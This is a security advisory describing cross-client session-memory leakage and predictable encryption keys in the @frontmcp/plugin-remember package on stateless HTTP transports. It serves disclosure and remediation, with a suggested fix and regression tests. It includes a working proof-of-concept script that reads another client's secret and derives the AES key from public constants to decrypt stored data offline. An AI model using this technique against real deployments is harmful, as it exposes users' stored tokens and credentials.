Stateless HTTP sessions share encrypted Remember memory across clients in @frontmcp/plugin-remember
Description
@frontmcp/plugin-remember does not isolate session-scoped memories between clients when used with FrontMCP's stateless HTTP transport.
The stateless transport assigns every request the same session identifier:
__stateless__The Remember plugin uses the session identifier directly when constructing storage keys for the session scope:
remember:session:{sessionId}:{key}As a result, every client of a stateless deployment uses the same storage namespace:
remember:session:__stateless__:*One client can therefore enumerate, read, overwrite, or delete another client's session-scoped memories through the plugin's normal tools.
The encryption layer has an independent related weakness. Session-scoped encryption keys are derived using HKDF-SHA256 with the session identifier as the input keying material.
For a stateless deployment, the key therefore derives from the public constant:
__stateless__together with other fixed values.
This makes the AES-256-GCM key for stateless session memories predictable without access to any server secret.
The issue was reproduced against released @frontmcp/plugin-remember@1.7.2: client B successfully enumerated and recalled a secret written by client A, and the stored encrypted blob was independently decrypted using only public constants.
A control using genuinely distinct session IDs remained isolated.
Details
FrontMCP's stateless HTTP transport assigns the same identifier to every request:
request.headers[
'mcp-session-id'
] = '__stateless__';The value then reaches the FrontMCP context as the session identifier.
The Remember accessor uses that value when constructing keys for session-scoped data.
Conceptually:
const key =
`${keyPrefix}` +
`session:` +
`${ctx.sessionId}:` +
`${memoryKey}`;With an ordinary stateful session this produces independent namespaces such as:
remember:session:a2f1c9de...:token
remember:session:9918e83b...:tokenOn stateless HTTP every client instead receives:
remember:session:__stateless__:tokenThe resulting flow is:
client A
-> sessionId = "__stateless__"
-> remember_this("api_token")
-> remember:session:__stateless__:api_token
client B
-> sessionId = "__stateless__"
-> list_memories(scope="session")
-> sees "api_token"
client B
-> recall("api_token")
-> receives client A's valueThe plugin's client-accessible memory tools include operations equivalent to:
remember_this
recall
list_memories
forgetso the shared namespace affects confidentiality, integrity, and availability of stored session data.
The encryption layer derives a separate key for each scope.
For the session scope, the relevant inputs are equivalent to:
ikm =
source.sessionId;
salt =
'remember-plugin-v1';
info =
`remember:session:${source.sessionId}`;followed by:
HKDF-SHA256(..., 32 bytes)On the stateless transport all three relevant values become predictable:
IKM = "__stateless__"
salt = "remember-plugin-v1"
info = "remember:session:__stateless__"No deployment-specific secret participates in the session-scope key derivation.
Therefore an attacker who obtains an encrypted session memory blob does not need any secret from the FrontMCP deployment to derive the AES key.
This is independent of the live cross-client access issue: fixing the storage namespace alone would not restore encryption-at-rest confidentiality for data already encrypted using a public session identifier.
The defect is backend-independent because the same accessor and key derivation are used regardless of whether storage is memory-backed, Redis-backed, or another supported backend.
PoC
Use the released @frontmcp/plugin-remember@1.7.2 package with encryption enabled.
Create a shared store and two accessors representing two independent clients on the stateless HTTP transport:
const {
RememberAccessor,
RememberMemoryProvider
} = require(
'@frontmcp/plugin-remember'
);
const STATELESS =
'__stateless__';
const config = {
type:
'memory',
keyPrefix:
'remember:',
encryption: {
enabled:
true
}
};
const store =
new RememberMemoryProvider();
const accessorA =
new RememberAccessor(
store,
{
sessionId:
STATELESS,
authInfo: {
clientId:
'client-a',
extra:
{}
}
},
config
);
const accessorB =
new RememberAccessor(
store,
{
sessionId:
STATELESS,
authInfo: {
clientId:
'client-b',
extra:
{}
}
},
config
);Client A stores a session-scoped secret:
key:
user_api_token
value:
{
"token":
"sk-live-9f8e7d6c-SECRET",
"note":
"my deploy key"
}through the normal Remember operation.
Client B then enumerates session memory.
Observed:
["user_api_token"]Client B recalls the same key.
Observed:
{
"found": true,
"value": {
"token": "sk-live-9f8e7d6c-SECRET",
"note": "my deploy key"
}
}The cross-client disclosure is therefore:
client A writes
remember:session:__stateless__:user_api_token
client B reads
remember:session:__stateless__:user_api_tokenThe encrypted blob in storage has the form:
{
"alg":
"AES-256-GCM",
"iv":
"...",
"tag":
"...",
"data":
"..."
}The encryption key can be reproduced independently using only public constants:
const {
hkdfSha256,
decryptAesGcm,
base64urlDecode
} = require(
'@frontmcp/utils'
);
const enc =
new TextEncoder();
const key =
hkdfSha256(
enc.encode(
'__stateless__'
),
enc.encode(
'remember-plugin-v1'
),
enc.encode(
'remember:session:__stateless__'
),
32
);Using that key to decrypt the stored blob produces:
{
"token":
"sk-live-9f8e7d6c-SECRET",
"note":
"my deploy key"
}No deployment secret is required.
As a control, create another accessor with a genuinely distinct stateful session identifier:
a2f1c9de-1111-2222-3333-111111111111and attempt to recall:
user_api_tokenObserved:
found: falseThe reproduced results were:
CLIENT A
remember_this(scope=session)
-> success
CLIENT B
list_memories(scope=session)
-> ["user_api_token"]
CLIENT B
recall("user_api_token")
-> CLIENT A'S SECRET
OFFLINE
derive key from public constants
-> decrypt succeeds
CONTROL
different real session ID
-> secret not foundThis isolates the cross-client issue to the shared stateless session identifier and demonstrates the separate predictable-key weakness.
Suggested fix
Session-scoped memory must not use FrontMCP's shared stateless identifier as an isolation boundary.
When:
sessionId == "__stateless__"the plugin should either reject use of the session scope or obtain a genuine client-specific identity from a trusted server-side source.
For example:
constructor(
store,
ctx,
config
) {
...
+ if (
+ ctx.sessionId ===
+ '__stateless__'
+ ) {
+ this.statelessSession =
+ true;
+ }
}and reject session operations:
if (
scope === 'session' &&
this.statelessSession
) {
throw new Error(
'Session-scoped memory is unavailable on stateless transports without a client-specific session identity.'
);
}If session-style persistence is required on stateless HTTP, the server should create an unpredictable per-client identifier that is authenticated or otherwise bound to that client. It must not use one global constant.
The encryption key derivation must also include a server-held secret.
For example:
case 'session': {
- ikm =
- textEncoder.encode(
- source.sessionId
- );
+ const baseSecret =
+ await getBaseSecret();
+
+ ikm =
+ textEncoder.encode(
+ `${baseSecret}:session:${source.sessionId}`
+ );
context =
`remember:session:${source.sessionId}`;
break;
}This ensures that possession of the storage blob and knowledge of a session identifier are insufficient to decrypt the value.
Existing data encrypted under the predictable stateless key should be considered exposed if an attacker may have obtained the store and should be rotated or removed after the fix.
Regression tests should include:
stateless client A writes session memory
stateless client B
-> must not read/list/delete A's memory
stateful session A/B
-> remain isolated
encrypted session blob
-> cannot decrypt without server secret
"__stateless__" session
-> rejected or securely re-scopedThe user scope should also avoid collapsing unauthenticated users into a single shared identity such as "anonymous" when that scope is expected to provide per-user isolation.
Impact
On stateless HTTP deployments using the Remember plugin, session-scoped memory is shared between otherwise independent clients.
A second client can use normal Remember operations to enumerate and retrieve another client's session memories and can potentially overwrite or delete entries in the same namespace.
Session memory may contain sensitive information intentionally retained for later tool calls, including API tokens, credentials, deployment identifiers, private notes, or other user-specific state.
In addition, the encryption-at-rest key for this shared session scope is derivable from public constants. Anyone who obtains the encrypted storage data can derive the corresponding AES-256-GCM key without knowing any server-side secret and decrypt affected entries offline.
The demonstrated issue therefore breaks both client-to-client isolation and the confidentiality property expected from encrypted session-scoped storage.